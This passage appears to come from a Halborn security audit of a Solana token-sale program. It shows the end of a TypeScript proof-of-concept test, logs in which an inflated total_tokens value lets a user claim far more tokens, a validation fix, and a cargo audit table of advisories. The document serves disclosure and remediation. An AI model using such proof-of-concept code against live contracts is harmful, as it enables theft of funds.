clock: SYSVAR_CLOCK_PUBKEY,
gorplesCore: gorplesCoreProgram.programId,
tokenProgram: TOKEN_2022_PROGRAM_ID,
systemProgram: SystemProgram.programId,
})
.signers([publicUser])
.rpc();
userVault = await getOrCreateAssociatedTokenAccount(
provider.connection,
publicUser,
gorplesCore.mint,
publicUser.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
const balancePublicUserAfterClaim = await provider.connection.getBalance(
publicUser.publicKey
);
console.log(`Public user balance ($SOL) after claim is ${balancePublicUserAfterClaim}`);
let userVaultAfter = await getOrCreateAssociatedTokenAccount(
provider.connection,
publicUser,
gorplesCore.mint,
publicUser.publicKey,
undefined,
undefined,
undefined,
TOKEN_2022_PROGRAM_ID
);
console.log(`Public user VAULT after claim is ${userVaultAfter.amount}`);
});
Normal scenario logs (initialized with a normal value for total_tokens
)
Public user balance before purchase is 200000000000
Public user balance after purchase is 149998879440
Public user balance before claim is 149998879440
Public user VAULT before claim is 0
Public user balance ($SOL) after claim is 149996721840
Public user VAULT after claim is 4000000000000
Bad scenario logs (initialized with inflated value for total_tokens
)
Public user balance before purchase is 200000000000
Public user balance after purchase is 149998879440
Public user balance before claim is 149998879440
Public user VAULT before claim is 0
Public user balance ($SOL) after claim is 149996721840
Public user VAULT after claim is 500000000000000
Public user VAULT difference is 496000000000000
lamports
or 496.000 $GORPLES
tokens, when a round is initialized with an unreasonable amount of total_tokens
.
To mitigate this risk, it is essential to implement proper input validation for the total_tokens
parameter in the add_round
instruction. This can be achieved by adding a require
statement that checks the value against a predetermined threshold or by using a more dynamic approach that considers other factors, such as the total number of participants or the overall $SOL
raised.
ACKNOWLEDGED: The Entangle team acknowledged the risk related to this finding.
Description
Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit
, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io
are stored in a repository named The RustSec Advisory Database. cargo audit
is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.
Cargo Audit Results
ID | Crate | Description |
---|---|---|
RUSTSEC-2022-0093 | ed25519-dalek@1.0.1 | Double Public Key Signing Function Oracle Attack on |
RUSTSEC-2023-0033 | borsh@0.10.3 | Parsing borsh messages with ZST which are not-copy/clone is unsound |
RUSTSEC-2023-0033 | borsh@0.9.3 | Parsing borsh messages with ZST which are not-copy/clone is unsound |
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed